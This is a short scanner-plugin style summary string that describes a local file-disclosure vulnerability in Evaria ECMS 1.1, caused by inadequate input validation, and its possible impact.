tag_summary = "Evaria ECMS is prone to a local file-disclosure vulnerability because
it fails to adequately validate user-supplied input.

Exploiting this vulnerability would allow an attacker to obtain
potentially sensitive information from local files on computers
running the vulnerable application. This may aid in further attacks.

Evaria ECMS 1.1 is vulnerable; other versions may also be affected.";
